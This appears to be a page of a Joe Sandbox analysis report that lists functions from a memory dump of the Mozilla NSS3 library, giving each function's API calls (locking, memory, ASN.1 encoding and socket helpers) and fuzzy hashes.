Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 1996a3953a956676b2801163216bbd1229455e36fb2e5bf7e7905afad00f0eb5
Instruction ID: 57b8ffb75757429c28ca9e2b86ad2fd84b72be8ffb9f8d30d5e73e1b57463525
Opcode Fuzzy Hash: 1996a3953a956676b2801163216bbd1229455e36fb2e5bf7e7905afad00f0eb5
Instruction Fuzzy Hash: 5B213176F0828457EF10457F5C45BA776AEDBC574BF150435D91893E01EA60C83683AA

Function 6C5FA9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6C6D9270), ref: 6C5FA9BF
PR_IntervalToMilliseconds.NSS3(?,?,6C6D9270), ref: 6C5FA9DE

Part of subcall function 6C5FAB40: __aulldiv.LIBCMT ref: 6C5FAB66

Part of subcall function 6C6DCA40: LeaveCriticalSection.KERNEL32(?), ref: 6C6DCAAB

LeaveCriticalSection.KERNEL32(?), ref: 6C5FAA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6C5FAA39
EnterCriticalSection.KERNEL32(?), ref: 6C5FAA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5FAAEB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 661ce3f30e1ec245dc3d90348f378fc9d69a527538f45f309941bf7a4856d85b
Instruction ID: 1a24eb427ceb5a1b3dcf7e82f7f8d99609349d35592786d30230d1839b57c0b2
Opcode Fuzzy Hash: 661ce3f30e1ec245dc3d90348f378fc9d69a527538f45f309941bf7a4856d85b
Instruction Fuzzy Hash: CF417E706047018FD7049F29C984796BBF1FB4A358F288A6DE4AD8B641DB71E986CF81

Function 6C6288D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C630725,00000000,00000058), ref: 6C628906
EnterCriticalSection.KERNEL32(?), ref: 6C62891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C62894A
calloc.MOZGLUE(00000001,6C63072D,00000000,00000000,00000000,?,6C630725,00000000,00000058), ref: 6C628959
memset.VCRUNTIME140(?,00000000,?), ref: 6C628993
PR_Unlock.NSS3(?), ref: 6C6289AF

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: dc74532c2c28577ba0a6fd2aeeea15e394cf6975d9d7fd7e02c67a5c8ed7ce44
Instruction ID: 6e63dccbce25485e126864cb5dfe608a6f7f13ed2fc1326fa711635983e59e2d
Opcode Fuzzy Hash: dc74532c2c28577ba0a6fd2aeeea15e394cf6975d9d7fd7e02c67a5c8ed7ce44
Instruction Fuzzy Hash: 44312573E00214ABD7009F2CCC40A95B7A8AF4A31DF148626EC1C9BB51E735E845CBDA

Function 6C61AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C61AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C61AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C61AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C61AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C739500), ref: 6C61AF23

Part of subcall function 6C66F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C66F0C8
Part of subcall function 6C66F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C66F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C61AF37

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 5d10bd14496b8dfdec51a7529061287b83e8c14b61e795eb7f9ed48013ac6801
Instruction ID: cf7ec2d7d68c5c7b0e52a8854fb44a866296f84c18bf074260fff2ee76b45d69
Opcode Fuzzy Hash: 5d10bd14496b8dfdec51a7529061287b83e8c14b61e795eb7f9ed48013ac6801
Instruction Fuzzy Hash: 86213AB290D2006BEB108E1D9C01B9A77A4AF8572DF144319FC549BB92E731D54987AF

Function 6C728A50 Relevance: 9.1, APIs: 6, Instructions: 84networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6C728A8F

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

htons.WSOCK32(?), ref: 6C728ACB
PR_GetCurrentThread.NSS3(?), ref: 6C728AE2
htons.WSOCK32(?), ref: 6C728B1E
htonl.WSOCK32(7F000001,?), ref: 6C728B3B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: htons$CurrentModulePageSizeThreadhtonl
String ID:
API String ID: 3860140138-0
Opcode ID: 4b3bac29ff1e6b82914cfe99ebe5ec244e14379f4f194cc8c78d846a3020ccd5
Instruction ID: b5e7c3b0362cd9755d385a44c5e818373888078099f8b36a3743c3a75ea6b7f5
Opcode Fuzzy Hash: 4b3bac29ff1e6b82914cfe99ebe5ec244e14379f4f194cc8c78d846a3020ccd5
Instruction Fuzzy Hash: 3021CEB2D14785CAD3208F398A45567B2F5BF95308B25DA2FE8DD93A20F739A4C0C395

Function 6C69EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EE85
realloc.MOZGLUE(D94791F6,?), ref: 6C69EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C69EEC5

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

htonl.WSOCK32(?), ref: 6C69EEE3
htonl.WSOCK32(00000000,?), ref: 6C69EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C69EF01

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 443d6d66e50130995de00f1f7e54b1533567ed6ca96e6848da4e6232b63f513b
Instruction ID: c9df8eea72fd3a114477981eeac012674c9fd57c8cac4c1945ed8258afea0e79
Opcode Fuzzy Hash: 443d6d66e50130995de00f1f7e54b1533567ed6ca96e6848da4e6232b63f513b
Instruction Fuzzy Hash: 1B21D171A00215AFDF109F28DC84B9AB7A4FF49358F158179EC099B641E330EC15CBEA

Function 6C64EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C64EE49

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C64EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C64EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C64EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C64EEB3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 2e8ada322524f715c559ad5a6a517c1917c26fc708dd8ae8d45360c7b7bd3700
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 8821D8B6A002206BEB118F58DC81FABB7A8EF46708F048164FD089B751E771DC1587FA

Function 6C670AA0 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PL_HashTableDestroy.NSS3(?,?,?,6C627F62,00000000,00000000,?,?,?,6C6280DD), ref: 6C670AAE
PL_HashTableDestroy.NSS3(?,?,?,6C627F62,00000000,00000000,?,?,?,6C6280DD), ref: 6C670ACA
PL_HashTableDestroy.NSS3(?,?,?,6C627F62,00000000,00000000,?,?,?,6C6280DD), ref: 6C670B05
PORT_FreeArena_Util.NSS3(?,00000000,?,?,6C627F62,00000000,00000000,?,?,?,6C6280DD), ref: 6C670B24
free.MOZGLUE(?,?,?,6C627F62,00000000,00000000,?,?,?,6C6280DD), ref: 6C670B3C
memset.VCRUNTIME140(6C7724E4,00000000,000005B0,?,?,6C627F62,00000000,00000000,?,?,?,6C6280DD), ref: 6C670BC2

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: DestroyHashTable$Arena_FreeUtilfreememset
String ID:
API String ID: 4033302747-0
Opcode ID: 2c9840e1081ac353ad10242de12a9cc4100633362e7d845467244c212db3b6a6
Instruction ID: c6caf99c0c04d4303cd90d629b76f3bb3cc84fd8ebbc4273f58196684b14b376
Opcode Fuzzy Hash: 2c9840e1081ac353ad10242de12a9cc4100633362e7d845467244c212db3b6a6
Instruction Fuzzy Hash: 4521FBF0B11269DAEF61CB3ADC0D7123AB8B70674CF110435D839D2A41E73699688BB6

Function 6C668A60 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C6161C4,?,6C615F9C,00000000), ref: 6C668A81
TlsGetValue.KERNEL32(?,?,?,6C615F9C,00000000), ref: 6C668A9E
EnterCriticalSection.KERNEL32(?,?,?,?,6C615F9C,00000000), ref: 6C668AB7
PR_Unlock.NSS3(?,?,?,?,?,6C615F9C,00000000), ref: 6C668AD2
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C615F9C,00000000), ref: 6C668B05
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,6C615F9C,00000000), ref: 6C668B18

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CondNotifyValue$CriticalEnterSectionUnlock
String ID:
API String ID: 1007705821-0
Opcode ID: 1e434043f9567d9a58bf66644815575e1e229f45d14a13de11850b494910ae40
Instruction ID: 306506d9c23e62283aba0d39fd82911b8c42d04e4e936c0c03f04a993a5203da
Opcode Fuzzy Hash: 1e434043f9567d9a58bf66644815575e1e229f45d14a13de11850b494910ae40
Instruction Fuzzy Hash: 0C216270644704CBDB10AF3AC144665B7F4BF0B349F154A6ADC9997F11E734E884CB9A

Function 6C664820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C664EB8,?), ref: 6C664884

Part of subcall function 6C668800: TlsGetValue.KERNEL32(?,6C67085A,00000000,?,6C618369,?), ref: 6C668821
Part of subcall function 6C668800: TlsGetValue.KERNEL32(?,?,6C67085A,00000000,?,6C618369,?), ref: 6C66883D
Part of subcall function 6C668800: EnterCriticalSection.KERNEL32(?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668856
Part of subcall function 6C668800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C668887
Part of subcall function 6C668800: PR_Unlock.NSS3(?,?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C664EB8,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C66484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C664EB8,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C66486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6278F8), ref: 6C664899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6648A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6648B8

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 7b1c0b0d1e6c80db78b7a6e502c17ddca6e46cfe5942ea19f94d43a548f10ccf
Instruction ID: f2953c30d03a9f61211c74f431139ee45a2e37b9fa6e9061e83f4e874ff32ae8
Opcode Fuzzy Hash: 7b1c0b0d1e6c80db78b7a6e502c17ddca6e46cfe5942ea19f94d43a548f10ccf
Instruction Fuzzy Hash: D021D472B002509BEF019EA6DC8497677B8EF0B359B04053CDA594BF02E761E82487B6

Function 6C6289E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6288AE,-00000008), ref: 6C628A04
EnterCriticalSection.KERNEL32(?), ref: 6C628A15
memset.VCRUNTIME140(6C6288AE,00000000,00000132), ref: 6C628A27
PR_Unlock.NSS3(?), ref: 6C628A35
memset.VCRUNTIME140(6C6288AE,00000000,00000132,00000000,-00000008,00000000,?,?,6C6288AE,-00000008), ref: 6C628A45
free.MOZGLUE(6C6288A6,?,6C6288AE,-00000008), ref: 6C628A4E

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 541a7c6b9b998039c35d088da3bd8fe93db6d3cacbf1287ffd1a6595de18da34
Instruction ID: 035dfda9cd2d4ed722dd42d9b318ef858a7b95fed6b613c613ffad6f5e3b3cdf
Opcode Fuzzy Hash: 541a7c6b9b998039c35d088da3bd8fe93db6d3cacbf1287ffd1a6595de18da34
Instruction Fuzzy Hash: 911108B2E003159BEF009F69DC49AAABB78FF09718F000576E9089A611EB35D9548BE5

Function 6C728910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C72892E

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

PR_Lock.NSS3 ref: 6C728950

Part of subcall function 6C6D9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C601A48), ref: 6C6D9BB3
Part of subcall function 6C6D9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C601A48), ref: 6C6D9BC8

getprotobynumber.WSOCK32(?), ref: 6C728959
GetLastError.KERNEL32(?), ref: 6C728967
PR_GetCurrentThread.NSS3(?,?), ref: 6C72896F
PR_Unlock.NSS3(?,?), ref: 6C72898A

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: facdece0c2e51a17ca3aa6d89df43bc75d4fac1e0b559a444e01e72c52bee995
Instruction ID: 593322d830365693013cb39f2fbfe12ce9e2d99cb62b4b9bf20d1ef65e0f3c6a
Opcode Fuzzy Hash: facdece0c2e51a17ca3aa6d89df43bc75d4fac1e0b559a444e01e72c52bee995
Instruction Fuzzy Hash: 93110C73A141349BCB005F79990464A3B68EF4637CF064376DC4997BA1DB368C04D7DA

Function 6C5FC4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5FC4F0
free.MOZGLUE ref: 6C5FC51A
TlsSetValue.KERNEL32 ref: 6C5FC540
free.MOZGLUE ref: 6C5FC557
DeleteCriticalSection.KERNEL32 ref: 6C5FC56A
free.MOZGLUE ref: 6C5FC576

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: 4f17e4fb20ab91f138c410ff35118840daac443bfc6c6ef2994422a2d4da6154
Instruction ID: 9554ddcfc1ad37169621930612b50673591acfd2b237d1ff888fe6a67c124dbf
Opcode Fuzzy Hash: 4f17e4fb20ab91f138c410ff35118840daac443bfc6c6ef2994422a2d4da6154
Instruction Fuzzy Hash: 5B111C74604B518BCB21BF7AC44816ABBF4BF86749F050A7DD8DA87601EB34A445CF86

Function 6C6A6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C6AAA9B,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A6846

Part of subcall function 6C601770: calloc.MOZGLUE(00000001,0000019C,?,6C6015C2,?,?,?,?,?,00000001,00000040), ref: 6C60178D

PR_NewMonitor.NSS3(00000000,?,6C6AAA9B,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A6855

Part of subcall function 6C668680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C6155D0,00000000,00000000), ref: 6C66868B
Part of subcall function 6C668680: PR_NewLock.NSS3(00000000,00000000), ref: 6C6686A0
Part of subcall function 6C668680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C6686B2
Part of subcall function 6C668680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C6686C8
Part of subcall function 6C668680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C6686E2
Part of subcall function 6C668680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C6686EC
Part of subcall function 6C668680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C668700

PR_NewMonitor.NSS3(?,6C6AAA9B,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A687D

